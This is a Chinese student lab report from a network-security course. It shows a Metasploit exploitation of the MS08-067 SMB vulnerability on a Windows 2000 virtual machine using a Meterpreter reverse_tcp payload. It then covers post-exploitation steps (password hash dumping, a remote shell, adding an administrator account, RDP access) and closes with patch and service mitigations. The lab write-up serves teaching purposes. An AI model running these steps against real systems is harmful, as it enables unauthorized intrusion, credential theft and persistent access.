1、缓冲区溢出攻击与防范实验报告实验六报告课程名称网络安全实验成绩实验名称缓冲区溢出攻击与防范实验学号20姓名 郑明毅 班级网络工程2班日期2018/6/7实验报告一、实验目的及要求:1. 实验目的通过实验掌握缓冲区溢出的原理;理解缓冲区溢出危险性;理解防范和避免缓冲区溢出攻击的措施。2. 实验要求(1)利用缓冲区溢出工具或者利用一个简单的溢出C程序进行溢出漏洞攻击(2)分析缓冲区溢出攻击原理和危害(3)给出防范和避免缓冲区溢出攻击的措施二、实验过程及要点:实验过程:MS08-067( Windows Server服务RPC请求缓冲区溢出漏洞)远程缓冲区溢出攻击测试1网络测试环境构建 首先需要先配
2、置好一个渗透测试用的网络环境,包括如图1所示的运行win10系统的计算机,如图2所示的Windows 2000系统(虚拟机环境下)的计算机。显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。在win10攻击机上运行metas
3、ploit console,即可进入Metasploit环境。现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。图3 windows 2000扫描结果利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap利用smb-check-vulns插件扫描探测出了Windows2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。namap扫描的结果里报告发现MS08-067:DISABLED。 这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在 Metasloit里面
4、找到此漏洞的攻击模块,并尝试攻击目标机器。MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。图4漏洞扫描结果3利用MS08_067漏洞渗透入侵 MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在 Microsoft Windows 2000Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已
5、经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。 既然已经知道Windows2000靶机存在MS08_067漏洞,下面就在Metasploit环境中利用它进行渗透入侵。 首先,输入search ms08-067查找与其相关的漏洞攻击程序,并启用该渗透攻击模块查看基本信息,然后,输入use exploit/Windows/smb/ms08_067_netapi命令表示选择利用这个漏洞,如图5所示。图5 选择漏洞如上我们已经驾驭了(ms08_067_netapi)这个漏洞攻击程序,哈哈!接下来我们要找一找metas
6、ploit下的有效攻击荷载(payload),那就使用命令:show payloads来查找一下吧!然后用set命令选择一旦利用漏洞渗透进去使用什么攻击载荷,这里使用MSF框架里功能强大的Meterpreter攻击模块下的反向连接shell载荷,使用命令:set payload windows/meterpreter/reverse_tcp,执行如图6所示。图6 选择攻击载荷完成渗透攻击模块与攻击载荷模块的选择之后,需要查看配置渗透攻击所需的配置选项,具体命令如下:show options用showoptions命令查看还有哪些参数需要配置,根据目标情况配置渗透攻击的选项。如图7所示:图7 需
7、要配置的参数now,现在我们需要设置ip咯,设置命令:set RHOST set LHOST 配置本地攻击机和远程靶机的IP地址,如图8所示图8配置参数现在呢,我们基本已设置完成,接下来我们show一下看看自己的配置都在不确认一下信息:(看到了吧,我们的配置没问题吧!Ip都有了啊!)图9 检查配置参数所有需要的参数配置好了以后,在进行exploit渗透攻击时,会出现一些状况,有可能渗透不成功,需要在这时候谨慎。用exploit或run命令发动攻击,如图10所示,渗透成功后,设置的回连主机就是Metasploit攻击主机,攻击主机会获得一个meterpreter控制会话session。图10 成
8、功获取session吼吼!成功了!已成功拿下对方主机,那么现在你要做什么呢好的,告诉你一句话:好戏开锣咯是时候让你体验一下当黑客的感觉了!Hello,hacker还等什么呢好吧,废话少说,第一个“破坏”玩起!哈哈!实例1 从靶机拿到的ipconfig/all,如图11图11从靶机拿到的ipconfig/all实例2获得系统当前的进程列表,如图12:图12 windows2000进程列表实例3:获得当前的工作目录和用户id,如图13:图13 windows2000的工作目录和用户id实例4:获得目标系统的passwordhash,如图14:图14 windows 2000的password ha
9、sh实例5:获得目标系统的DOS shell,用了meterpreter的session后,即可用各种命令对远程靶机进行操作,如图15所示。图15 获得windows 2000的DOS shell实例6:那我就和靶机简单比较一下命令:ipconfig/all吧!图16 shell拿到的windows 2000的ipconfig/all从靶机拿到的ipconfig/all,如图17:图17 靶机拿到的ipconfig/all实例7 在目标靶机上新建了一个账号zmy和密码479(这里用的是我的姓名郑明毅学号479),并将其加入到管理员组。为后续的远程控制提供方便,如图18、19、20所示:(简单解
10、释一下啊win10截图中所有问号问题:那是因为汉字编码问题:可能是UTF-8的缘故吧!) 图18 查看账号图19 新建账号图20 账号加入管理员组实例8 查看3389端口是否打开(这里已经打开了)如图21,然后用mstsc远程桌面连接(因为windows2000专业版没有3389远程端口,所以我这里又安装了一个windows2000服务器版的系统,ip地址为 用户名zmy 密码479)图21 查看3389是否打开图22添加用户名zmy 密码479并设置为Administrators组启动mstsc远程桌面连接,如图23:图23 远程桌面连接4. 防范Ms08-067远程溢出攻击由于这个漏洞是致命的,所以一旦被入侵后果将不堪设想,因此我们可以微软的官方站点,下载编号为KB958644的补丁,对其漏洞进行修补。再则通过关闭Computer browser、server、workstation这三个服务关闭,也可防止黑客远程溢出攻击,当然安装防火墙将安全级别设置为高级,也是一种防止黑客入侵的不错选择。实验总结总结:实验结束了,所有的东西总是不会尽善尽美,一些诸如木马,后门之类的功能我并没有实现,原因是本人也是渣渣,望理解,我也继续努力希望有一天可以呈现更高级的漏洞攻击! 指导老师评语: 签名: 年 月 日
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1